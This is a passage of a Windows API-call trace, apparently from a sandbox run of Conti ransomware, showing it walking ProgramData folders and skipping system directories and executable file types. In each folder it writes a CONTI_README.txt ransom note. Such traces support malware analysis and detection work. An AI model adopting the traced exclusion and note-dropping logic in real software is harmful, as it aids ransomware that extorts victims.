	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Program Files") returned -1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Program Files (x86)") returned -1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Boot") returned -1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Windows") returned -1
	[0103.911] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned 44
	[0103.911] lstrlenW (lpString="{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 38
	[0103.911] GetProcessHeap () returned 0x1720000
	[0103.911] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x1732c10
	[0103.911] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0103.911] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\"
	[0103.911] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\", lpString2="{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0103.911] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 83
	[0103.911] GetProcessHeap () returned 0x1720000
	[0103.911] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xac) returned 0x17c0310
	[0103.911] lstrcpyW (in: lpString1=0x17c0310, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0103.911] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*"
	[0103.911] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 83
	[0103.911] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.911] GetProcessHeap () returned 0x1720000
	[0103.911] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xca) returned 0x173aca0
	[0103.911] lstrcpyW (in: lpString1=0x173aca0, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0103.911] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\"
	[0103.911] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\CONTI_README.txt"
	[0103.912] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0103.913] GetProcessHeap () returned 0x1720000
	[0103.914] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173aca0 | out: hHeap=0x1720000) returned 1
	[0103.914] WriteFile (in: hFile=0x3c8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0103.914] CloseHandle (hObject=0x3c8) returned 1
	[0103.915] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c70467, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7ef0
	[0103.915] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.915] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c70467, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.915] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.915] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.915] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="background.png", cAlternateFileName="")) returned 1
	[0103.915] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1
	[0103.915] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1
	[0103.915] StrStrIW (lpFirst="background.png", lpSrch=".CONTI") returned 0x0
	[0103.915] StrStrIW (lpFirst="background.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.915] StrStrIW (lpFirst="background.png", lpSrch=".exe") returned 0x0
	[0103.915] StrStrIW (lpFirst="background.png", lpSrch=".dll") returned 0x0
	[0103.915] StrStrIW (lpFirst="background.png", lpSrch=".lnk") returned 0x0
	[0103.915] StrStrIW (lpFirst="background.png", lpSrch=".sys") returned 0x0
	[0103.915] StrStrIW (lpFirst="background.png", lpSrch=".CONTI") returned 0x0
	[0103.915] StrStrIW (lpFirst="background.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.915] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 83
	[0103.915] lstrlenW (lpString="background.png") returned 14
	[0103.915] GetProcessHeap () returned 0x1720000
	[0103.915] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181d718
	[0103.915] lstrcpyW (in: lpString1=0x181d718, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0103.915] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\"
	[0103.915] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpString2="background.png" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"
	[0103.915] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0103.915] lstrcmpiW (lpString1="behavior.xml", lpString2=".") returned 1
	[0103.915] lstrcmpiW (lpString1="behavior.xml", lpString2="..") returned 1
	[0103.915] StrStrIW (lpFirst="behavior.xml", lpSrch=".CONTI") returned 0x0
	[0103.915] StrStrIW (lpFirst="behavior.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0103.915] StrStrIW (lpFirst="behavior.xml", lpSrch=".exe") returned 0x0
	[0103.916] StrStrIW (lpFirst="behavior.xml", lpSrch=".dll") returned 0x0
	[0103.916] StrStrIW (lpFirst="behavior.xml", lpSrch=".lnk") returned 0x0
	[0103.916] StrStrIW (lpFirst="behavior.xml", lpSrch=".sys") returned 0x0
	[0103.916] StrStrIW (lpFirst="behavior.xml", lpSrch=".CONTI") returned 0x0
	[0103.916] StrStrIW (lpFirst="behavior.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0103.916] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 83
	[0103.916] lstrlenW (lpString="behavior.xml") returned 12
	[0103.916] GetProcessHeap () returned 0x1720000
	[0103.916] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d3d8
	[0103.916] lstrcpyW (in: lpString1=0x181d3d8, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0103.916] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\"
	[0103.916] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpString2="behavior.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"
	[0103.918] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c70467, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c70467, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c70467, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.918] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.918] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.918] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.918] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.918] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="watermark.png", cAlternateFileName="")) returned 1
	[0103.918] lstrcmpiW (lpString1="watermark.png", lpString2=".") returned 1
	[0103.918] lstrcmpiW (lpString1="watermark.png", lpString2="..") returned 1
	[0103.918] StrStrIW (lpFirst="watermark.png", lpSrch=".CONTI") returned 0x0
	[0103.918] StrStrIW (lpFirst="watermark.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.918] StrStrIW (lpFirst="watermark.png", lpSrch=".exe") returned 0x0
	[0103.918] StrStrIW (lpFirst="watermark.png", lpSrch=".dll") returned 0x0
	[0103.918] StrStrIW (lpFirst="watermark.png", lpSrch=".lnk") returned 0x0
	[0103.918] StrStrIW (lpFirst="watermark.png", lpSrch=".sys") returned 0x0
	[0103.918] StrStrIW (lpFirst="watermark.png", lpSrch=".CONTI") returned 0x0
	[0103.918] StrStrIW (lpFirst="watermark.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.918] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 83
	[0103.918] lstrlenW (lpString="watermark.png") returned 13
	[0103.919] GetProcessHeap () returned 0x1720000
	[0103.919] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc4) returned 0x181cfc8
	[0103.919] lstrcpyW (in: lpString1=0x181cfc8, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"
	[0103.919] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\"
	[0103.919] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\", lpString2="watermark.png" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"
	[0103.921] FindNextFileW (in: hFindFile=0x17c7ef0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="watermark.png", cAlternateFileName="")) returned 0
	[0103.921] GetProcessHeap () returned 0x1720000
	[0103.921] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0310 | out: hHeap=0x1720000) returned 1
	[0103.921] FindClose (in: hFindFile=0x17c7ef0 | out: hFindFile=0x17c7ef0) returned 1
	[0103.921] GetProcessHeap () returned 0x1720000
	[0103.921] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0103.921] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0
	[0103.921] GetProcessHeap () returned 0x1720000
	[0103.921] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0cc8 | out: hHeap=0x1720000) returned 1
	[0103.921] FindClose (in: hFindFile=0x17c7f30 | out: hFindFile=0x17c7f30) returned 1
	[0103.921] GetProcessHeap () returned 0x1720000
	[0103.921] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0ac0 | out: hHeap=0x1720000) returned 1
	[0103.922] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Task", cAlternateFileName="")) returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2=".") returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="..") returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="tmp") returned -1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="winnt") returned -1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="Application Data") returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="AppData") returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="temp") returned -1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="thumb") returned -1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="$Recycle.Bin") returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="$RECYCLE.BIN") returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="System Volume Information") returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="Program Files") returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="Program Files (x86)") returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="Boot") returned 1
	[0103.922] lstrcmpiW (lpString1="Task", lpString2="Windows") returned -1
	[0103.922] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage") returned 37
	[0103.922] lstrlenW (lpString="Task") returned 4
	[0103.922] GetProcessHeap () returned 0x1720000
	[0103.922] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c1268
	[0103.922] lstrcpyW (in: lpString1=0x17c1268, lpString2="C:\\ProgramData\\Microsoft\\Device Stage" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage"
	[0103.922] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\"
	[0103.922] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="Task" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0103.922] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned 42
	[0103.922] GetProcessHeap () returned 0x1720000
	[0103.922] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0780
	[0103.922] lstrcpyW (in: lpString1=0x17c0780, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0103.922] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*"
	[0103.922] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned 42
	[0103.922] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.922] GetProcessHeap () returned 0x1720000
	[0103.922] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17e3458
	[0103.922] lstrcpyW (in: lpString1=0x17e3458, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Task" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task"
	[0103.922] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\"
	[0103.922] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\CONTI_README.txt"
	[0103.922] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0103.924] GetProcessHeap () returned 0x1720000
	[0103.924] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e3458 | out: hHeap=0x1720000) returned 1
	[0103.924] WriteFile (in: hFile=0x324, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0103.925] CloseHandle (hObject=0x324) returned 1
	[0103.925] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c966ab, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8470
	[0103.925] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.925] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c966ab, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.925] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.925] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.925] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c966ab, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c966ab, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c966ab, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.925] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.925] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.925] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.925] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.925] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1
	[0103.925] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2=".") returned 1
	[0103.925] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="..") returned 1
	[0103.925] lstrcmpiW (lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpString2="tmp") returned -1
